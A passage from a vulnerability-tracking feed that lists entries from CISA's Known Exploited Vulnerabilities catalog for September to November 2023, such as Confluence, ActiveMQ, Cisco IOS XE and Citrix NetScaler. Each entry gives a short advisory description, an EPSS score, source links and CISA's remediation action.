CISA added Nov 8, 2023; federal due date Nov 29, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Data Center and Server Improper Authorization Vulnerability
https://kevwire.com/record/CVE-2023-22518
Atlassian Confluence Data Center and Server Improper Authorization Vulnerability (Nov 7, 2023).
Atlassian Confluence Data Center and Server contain an improper authorization vulnerability that can result in significant data loss when exploited by an unauthenticated attacker. There is no impact on confidentiality since the attacker cannot exfiltrate any data.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22518&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-22518: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22518&date=2026-10-25
CISA added this entry on 2023-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 7, 2023; federal due date Nov 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache ActiveMQ Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-46604
Apache ActiveMQ Deserialization of Untrusted Data Vulnerability (Nov 2, 2023).
Apache ActiveMQ contains a deserialization of untrusted data vulnerability that may allow a remote attacker with network access to a broker to run shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46604&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-46604: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46604&date=2026-10-25
CISA added this entry on 2023-11-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 2, 2023; federal due date Nov 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP Configuration Utility SQL Injection Vulnerability
https://kevwire.com/record/CVE-2023-46748
F5 BIG-IP Configuration Utility SQL Injection Vulnerability (Oct 31, 2023).
F5 BIG-IP Configuration utility contains an SQL injection vulnerability that may allow an authenticated attacker with network access through the BIG-IP management port and/or self IP addresses to execute system commands. This vulnerability can be used in conjunction with CVE-2023-46747.
EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46748&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-46748: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46748&date=2026-10-25
CISA added this entry on 2023-10-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 31, 2023; federal due date Nov 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP Configuration Utility Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2023-46747
F5 BIG-IP Configuration Utility Authentication Bypass Vulnerability (Oct 31, 2023).
F5 BIG-IP Configuration utility contains an authentication bypass using an alternate path or channel vulnerability due to undisclosed requests that may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute system commands. This vulnerability can be used in conjunction with CVE-2023-46748.
EPSS 96.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46747&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-46747: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46747&date=2026-10-25
CISA added this entry on 2023-10-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 31, 2023; federal due date Nov 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2023-5631
Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability (Oct 26, 2023).
Roundcube Webmail contains a persistent cross-site scripting (XSS) vulnerability that allows a remote attacker to run malicious JavaScript code.
EPSS 76.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-5631&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-5631: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-5631&date=2026-10-25
CISA added this entry on 2023-10-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 26, 2023; federal due date Nov 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XE Web UI Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-20273
Cisco IOS XE Web UI Command Injection Vulnerability (Oct 23, 2023).
Cisco IOS XE contains a command injection vulnerability in the web user interface. When chained with CVE-2023-20198, the attacker can leverage the new local user to elevate privilege to root and write the implant to the file system. Cisco identified CVE-2023-20273 as the vulnerability exploited to deploy the implant. CVE-2021-1435, previously associated with the exploitation events, is no longer believed to be related to this activity.
EPSS 92.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20273&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20273&date=2026-10-25
CISA added this entry on 2023-10-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 23, 2023; federal due date Oct 27, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-4966
Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability (Oct 18, 2023).
Citrix NetScaler ADC and NetScaler Gateway contain a buffer overflow vulnerability that allows for sensitive information disclosure when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4966&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-4966: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4966&date=2026-10-25
CISA added this entry on 2023-10-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations and kill all active and persistent sessions per vendor instructions [https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/] OR discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 18, 2023; federal due date Nov 8, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XE Web UI Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-20198
Cisco IOS XE Web UI Privilege Escalation Vulnerability (Oct 16, 2023).
Cisco IOS XE Web UI contains a privilege escalation vulnerability in the web user interface that could allow a remote, unauthenticated attacker to create an account with privilege level 15 access. The attacker can then use that account to gain control of the affected device.
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20198&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20198&date=2026-10-25
CISA added this entry on 2023-10-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 16, 2023; federal due date Oct 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-21608
Adobe Acrobat and Reader Use-After-Free Vulnerability (Oct 10, 2023).
Adobe Acrobat and Reader contains a use-after-free vulnerability that allows for code execution in the context of the current user.
EPSS 59.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21608&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21608: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21608&date=2026-10-25
CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Group Encrypted Transport VPN Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2023-20109
Cisco IOS and IOS XE Group Encrypted Transport VPN Out-of-Bounds Write Vulnerability (Oct 10, 2023).
Cisco IOS and IOS XE contain an out-of-bounds write vulnerability in the Group Encrypted Transport VPN (GET VPN) feature that could allow an authenticated, remote attacker who has administrative control of either a group member or a key server to execute malicious code or cause a device to crash.
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20109&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20109: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20109&date=2026-10-25
CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Skype for Business Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-41763
Microsoft Skype for Business Privilege Escalation Vulnerability (Oct 10, 2023).
Microsoft Skype for Business contains an unspecified vulnerability that allows for privilege escalation.
EPSS 90.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41763&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41763: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41763&date=2026-10-25
CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft WordPad Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2023-36563
Microsoft WordPad Information Disclosure Vulnerability (Oct 10, 2023).
Microsoft WordPad contains an unspecified vulnerability that allows for information disclosure.
EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36563&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36563: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36563&date=2026-10-25
CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### HTTP/2 Rapid Reset Attack Vulnerability
https://kevwire.com/record/CVE-2023-44487
HTTP/2 Rapid Reset Attack Vulnerability (Oct 10, 2023).
HTTP/2 contains a rapid reset vulnerability that allows for a distributed denial-of-service attack (DDoS).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-44487&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-44487: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-44487&date=2026-10-25
CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Data Center and Server Broken Access Control Vulnerability
https://kevwire.com/record/CVE-2023-22515
Atlassian Confluence Data Center and Server Broken Access Control Vulnerability (Oct 5, 2023).
Atlassian Confluence Data Center and Server contains a broken access control vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22515&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-22515: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22515&date=2026-10-25
CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Check all affected Confluence instances for evidence of compromise per vendor instructions and report any positive findings to CISA.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 5, 2023; federal due date Oct 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress WS_FTP Server Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-40044
Progress WS_FTP Server Deserialization of Untrusted Data Vulnerability (Oct 5, 2023).
Progress WS_FTP Server contains a deserialization of untrusted data vulnerability in the Ad Hoc Transfer module that allows an authenticated attacker to execute remote commands on the underlying operating system.
EPSS 90.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-40044&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-40044: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-40044&date=2026-10-25
CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 5, 2023; federal due date Oct 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS and iPadOS Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-42824
Apple iOS and iPadOS Kernel Privilege Escalation Vulnerability (Oct 5, 2023).
Apple iOS and iPadOS contain an unspecified vulnerability that allows for local privilege escalation.
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42824&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-42824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42824&date=2026-10-25
CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 5, 2023; federal due date Oct 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JetBrains TeamCity Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2023-42793
JetBrains TeamCity Authentication Bypass Vulnerability (Oct 4, 2023).
JetBrains TeamCity contains an authentication bypass vulnerability that allows for remote code execution on TeamCity Server.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42793&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-42793: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42793&date=2026-10-25
CISA added this entry on 2023-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 4, 2023; federal due date Oct 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-28229
Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability (Oct 4, 2023).
Microsoft Windows Cryptographic Next Generation (CNG) Key Isolation Service contains an unspecified vulnerability that allows an attacker to gain specific limited SYSTEM privileges.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28229&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28229: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28229&date=2026-10-25
CISA added this entry on 2023-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 4, 2023; federal due date Oct 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-4211
Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Oct 3, 2023).
Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that allows a local, non-privileged user to make improper GPU memory processing operations to gain access to already freed memory.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4211&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-4211: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4211&date=2026-10-25
CISA added this entry on 2023-10-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 3, 2023; federal due date Oct 24, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium libvpx Heap Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-5217
Google Chromium libvpx Heap Buffer Overflow Vulnerability (Oct 2, 2023).
Google Chromium libvpx contains a heap buffer overflow vulnerability in vp8 encoding that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could impact web browsers using libvpx, including but not limited to Google Chrome.
EPSS 49.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-5217&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-5217: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-5217&date=2026-10-25
CISA added this entry on 2023-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2023; federal due date Oct 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat JBoss RichFaces Framework Expression Language Injection Vulnerability
https://kevwire.com/record/CVE-2018-14667
Red Hat JBoss RichFaces Framework Expression Language Injection Vulnerability (Sep 28, 2023).
Red Hat JBoss RichFaces Framework contains an expression language injection vulnerability via the UserResource resource. A remote, unauthenticated attacker could exploit this vulnerability to execute malicious code using a chain of Java serialized objects via org.ajax4jsf.resource.UserResource$UriData.
EPSS 74.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14667&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-14667: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14667&date=2026-10-25
CISA added this entry on 2023-09-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 28, 2023; federal due date Oct 19, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Improper Certificate Validation Vulnerability
https://kevwire.com/record/CVE-2023-41991
Apple Multiple Products Improper Certificate Validation Vulnerability (Sep 25, 2023).
Apple iOS, iPadOS, macOS, and watchOS contain an improper certificate validation vulnerability that can allow a malicious app to bypass signature validation.
EPSS 13.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41991&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41991: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41991&date=2026-10-25
CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2023; federal due date Oct 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-41992
Apple Multiple Products Kernel Privilege Escalation Vulnerability (Sep 25, 2023).
Apple iOS, iPadOS, macOS, and watchOS contain an unspecified vulnerability that allows for local privilege escalation.
EPSS 9.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41992&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41992: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41992&date=2026-10-25
CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2023; federal due date Oct 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-41993
Apple Multiple Products WebKit Code Execution Vulnerability (Sep 25, 2023).
Apple iOS, iPadOS, macOS, and Safari WebKit contain an unspecified vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 24.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41993&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41993: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41993&date=2026-10-25
CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2023; federal due date Oct 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Apex One and Worry-Free Business Security Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-41179
Trend Micro Apex One and Worry-Free Business Security Remote Code Execution Vulnerability (Sep 21, 2023).
